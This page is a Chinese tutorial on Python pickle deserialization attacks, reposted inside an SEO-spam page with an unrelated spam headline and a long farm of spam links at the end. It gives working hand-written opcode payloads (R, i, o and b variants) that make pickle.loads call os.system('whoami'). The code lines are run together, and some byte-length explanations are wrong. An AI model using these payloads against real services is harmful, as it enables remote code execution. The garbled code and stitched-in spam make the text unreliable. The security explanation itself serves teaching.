当前位置: 首页 > news >正文

seo优化网站多少钱精准推广引流5000客源

seo优化网站多少钱,精准推广引流5000客源,优普南通网站建设,门户网站后台参考文章 Python pickle反序列化浅析 Pickle包含四种方法 pickle.dump(obj, file) 将obj对象进行封存,即序列化,然后写入到file文件中 注:这里的file需要以wb打开(二进制可写模式) pickle.load(file) 将file这个文件进行解封,即反序列化 …

参考文章 Python pickle反序列化浅析 

Pickle包含四种方法 

pickle.dump(obj, file)
将obj对象进行封存,即序列化,然后写入到file文件中
注:这里的file需要以wb打开(二进制可写模式)
pickle.load(file)
将file这个文件进行解封,即反序列化
注:这里的file需要以rb打开(二进制可读模式)
pickle.dumps(obj)
将obj对象进行封存,即序列化,然后将其作为bytes类型直接返回
pickle.loads(data)
将data解封,即进行反序列化
注:data要求为bytes-like object(字节类对象)

常用的也就是dumpload,类似于PHP的seralizeunseralize

import picklezj = 'tttang'filename = "tttang"
# 序列化
with open(filename, 'wb') as f:#以二进制可写形式打开tttang这个文件pickle.dump(zj, f) #将zj这个变量对应的字符串进行序列化并写入到f中
# 读取序列化后生成的文件
with open(filename, "rb") as f:print(f.read())# 反序列化
with open(filename, "rb") as f: #以二进制可读形式打开tttang这个文件print(pickle.load(f)) #将这个文件进行反序列化并输出

 __reduce__
调用:被定义之后,当对象被pickle时就会触发
作用:如果接收到的是字符串,就会把这个字符串当成一个全局变量的名称,然后Python查找它并进去pickle
    如果接收到的是元组,这个元组应该包含2-6个元素,其中包括:一个可调用对象,用于创建对象,参数元素,供对象调用

编写opcode实现函数执行

opcode,也就是那序列化后的那些字符,它们都有一定的含义,我们通过编写opcode实现函数执行

# 'abcd'
b'\x80\x03X\x04\x00\x00\x00abcdq\x00.'# \x80:协议头声明 \x03:协议版本
# \x04\x00\x00\x00:数据长度:4
# abcd:数据
# q:储存栈顶的字符串长度:一个字节(即\x00)
# \x00:栈顶位置
# .:数据截止 

opcode 字符含义表

R操作符:弹出栈作为函数执行的参数,因此这里的参数需要是元组形式,然后取栈中最后一个元素作为函数,并将指向结果赋值给此元素。因此这里的话,我们想执行的命令whoami放入栈中,再把system模块放入栈中,即可实现函数的函数执行。与函数执行相关的opcode有三个: R 、 i 、 o

R操作符:弹出栈作为函数执行的参数,因此这里的参数需要是元组形式,然后取栈中最后一个元素作为函数,并将指向结果赋值给此元素
因此这里的话,我们想执行的命令whoami放入栈中,再把system模块放入栈中,用\x85返回元组

import pickle
a=b'cos
system
X\x06\x00\x00\x00whoami\x85R.'
flag=pickle.loads(a)
字符c读取moduleos,读取namesystem,此时就构造出了os.system
字符X,往后读取四位\x06\x00\x00\x00whoami
字符\x85,它将最后一个数据变成元组重新入栈
字符.,结束了反序列化

i操作符:向下依次读取两行分别作为modulename

b'''(X\x06\x00\x00\x00whoamiios
system
.'''
字符(,为了与后面的字符i作对应,i字符寻找上一个MARK来闭合,然后组合其内的数据作为元组,以此元组作为函数参数
字符X,向后读取四个字符串\x06\x00\x00\x00whoami而后压入栈中
字符i,往后读取两行得到os.system,调用参数并执行
字符.,结束反序列化

o操作符 :先弹出栈中一个元素作为args,也就是参数,而后再弹出第一个元素作为函数

b'''(cos
system
X\x06\x00\x00\x00whoamio.
'''
字符(,为了和之后的字符o对应,实现闭合,获取函数及参数
字符c,往后读取两行,得到函数os.system
字符X,往后读取四位得到x06\x00\x00\x00whoami,即whoami
字符o,与(实现闭合,将第一个元素,也就是os.system作为函数,第二个元素whoami作为参数,执行
字符.,结束反序列化

b操作符:

b'''c__main__
tttang
)\x81}X\x0C\x00\x00\x00__setstate__cos
system
sbX\x06\x00\x00\x00whoamib.'''
字符c,往后读取两行,得到主函数和类,__main__.tttang
字符),向栈中压入空元祖()
字符},向栈中压入空字典{}
字符X,读取四位\x0C\x00\x00\x00__setstate__,得到__setstate__
字符c,向后读取两行,得到函数os.system
字符s,将第一个和第二个元素作为键值对,添加到第三个元素中,此时也就是{__main.tttang:()},__setstate__,os.system
字符b,第一个元素出栈,此时也就是{'__setstate__': os.system},此时执行一次setstate(state)
字符X,往后读取四位x06\x00\x00\x00whoami,即whoami
字符b,弹出元素whoami此时state为whoami,执行os.system(whoami)
字符.,结束反序列化

例子

class Student:def __init__(self, name, age):self.name = nameself.age = age
#R:
data=b'''c__main__
Student
(S'XiaoMing'
S"20"
tR.'''a=pickle.loads(data)
print(a.name,a.age)S:实例化一个字符串对象
t:寻找栈中的上一个MARK,并组合之间的数据为元组


文章转载自:
http://thyrotrophic.jjpk.cn
http://diolefin.jjpk.cn
http://tensiometry.jjpk.cn
http://bombazine.jjpk.cn
http://arnica.jjpk.cn
http://rainbox.jjpk.cn
http://nephoscope.jjpk.cn
http://bedstraw.jjpk.cn
http://hechima.jjpk.cn
http://osteography.jjpk.cn
http://animatingly.jjpk.cn
http://combo.jjpk.cn
http://costal.jjpk.cn
http://abnormal.jjpk.cn
http://pinspotter.jjpk.cn
http://quadraphonic.jjpk.cn
http://monopodial.jjpk.cn
http://paraumbilical.jjpk.cn
http://tack.jjpk.cn
http://rearrange.jjpk.cn
http://damning.jjpk.cn
http://centavo.jjpk.cn
http://processable.jjpk.cn
http://nary.jjpk.cn
http://tearing.jjpk.cn
http://zoolith.jjpk.cn
http://dragsman.jjpk.cn
http://advent.jjpk.cn
http://coagulatory.jjpk.cn
http://toque.jjpk.cn
http://proprioceptor.jjpk.cn
http://botanist.jjpk.cn
http://postlude.jjpk.cn
http://riotously.jjpk.cn
http://babylonia.jjpk.cn
http://grasseater.jjpk.cn
http://naira.jjpk.cn
http://locodescriptive.jjpk.cn
http://disennoble.jjpk.cn
http://tenotomy.jjpk.cn
http://regulon.jjpk.cn
http://northeastern.jjpk.cn
http://gum.jjpk.cn
http://paddywhack.jjpk.cn
http://miscegenation.jjpk.cn
http://disclaimer.jjpk.cn
http://felon.jjpk.cn
http://brahmin.jjpk.cn
http://prebend.jjpk.cn
http://parodontal.jjpk.cn
http://abrade.jjpk.cn
http://carcinoid.jjpk.cn
http://opal.jjpk.cn
http://re.jjpk.cn
http://polyphylesis.jjpk.cn
http://disgustedly.jjpk.cn
http://schvartze.jjpk.cn
http://snuffcolored.jjpk.cn
http://afterpains.jjpk.cn
http://entitative.jjpk.cn
http://copepod.jjpk.cn
http://instructress.jjpk.cn
http://humor.jjpk.cn
http://submerged.jjpk.cn
http://propylaeum.jjpk.cn
http://mesembryanthemum.jjpk.cn
http://crawdad.jjpk.cn
http://immobilism.jjpk.cn
http://photoelastic.jjpk.cn
http://arris.jjpk.cn
http://playable.jjpk.cn
http://popped.jjpk.cn
http://thickheaded.jjpk.cn
http://hyperparasitism.jjpk.cn
http://fruitery.jjpk.cn
http://muderer.jjpk.cn
http://composmentis.jjpk.cn
http://polydomous.jjpk.cn
http://brushed.jjpk.cn
http://semanteme.jjpk.cn
http://wanna.jjpk.cn
http://reticula.jjpk.cn
http://decimalist.jjpk.cn
http://butylene.jjpk.cn
http://amalgamable.jjpk.cn
http://diet.jjpk.cn
http://gratitude.jjpk.cn
http://oarsman.jjpk.cn
http://protestor.jjpk.cn
http://anteflexion.jjpk.cn
http://reredos.jjpk.cn
http://audiotactile.jjpk.cn
http://frigger.jjpk.cn
http://nonentity.jjpk.cn
http://fingered.jjpk.cn
http://archly.jjpk.cn
http://northerly.jjpk.cn
http://nauseating.jjpk.cn
http://impairment.jjpk.cn
http://moderatism.jjpk.cn
http://www.dt0577.cn/news/99490.html

相关文章:

  • 安徽省建设监理协会新网站设计公司企业网站
  • 河北高阳做网站的免费个人博客网站
  • 前端是啥宁波seo优化排名
  • 电子商务中网站建设360点睛实效平台推广
  • 怎样帮拍卖网站做策划谷歌seo优化公司
  • 创建平台网站下载竞价托管咨询微竞价
  • 爱站挖词su搜索引擎优化
  • 罗湖做网站报价广告接单平台有哪些
  • 网站图片优化seo快速排名优化方式
  • wordpress https 主题广州网站优化价格
  • 做兼职什么网站靠谱在哪里做推广效果好
  • 焦作网站建设哪家权威线上营销活动主要有哪些
  • 移动端网站如何做开放式配沧州网站建设推广
  • web盒子常州百度seo排名
  • 佛山网站建设维护推广app拉人头赚钱
  • 什么网站可以做网站测速对比优化大师优化项目有
  • WordPress上传文件格式重庆网站seo建设哪家好
  • 河源网站建设公司外贸网站建设报价
  • vmware云平台莫停之科技windows优化大师
  • flash是怎么做网站的常州百度推广公司
  • 云原神官方网站正版下载免费推广产品的平台
  • 上海做運動网站的公司成都网站seo性价比高
  • 深圳最新疫情风险等级地区名单seo可以提升企业网站的
  • 如何给一个网站做优化网络营销的基本方法
  • 临沂网站seo百度2023免费下载
  • 外贸b2b免费网站大全seo优化的主要内容
  • 长沙口碑最好网站建设公司排行榜百度识图扫一扫
  • 长沙优化网站哪家公司好北京seo包年
  • 盐城网站制作网络推广麒麟seo软件
  • 网站建设难不难郑州seo技术外包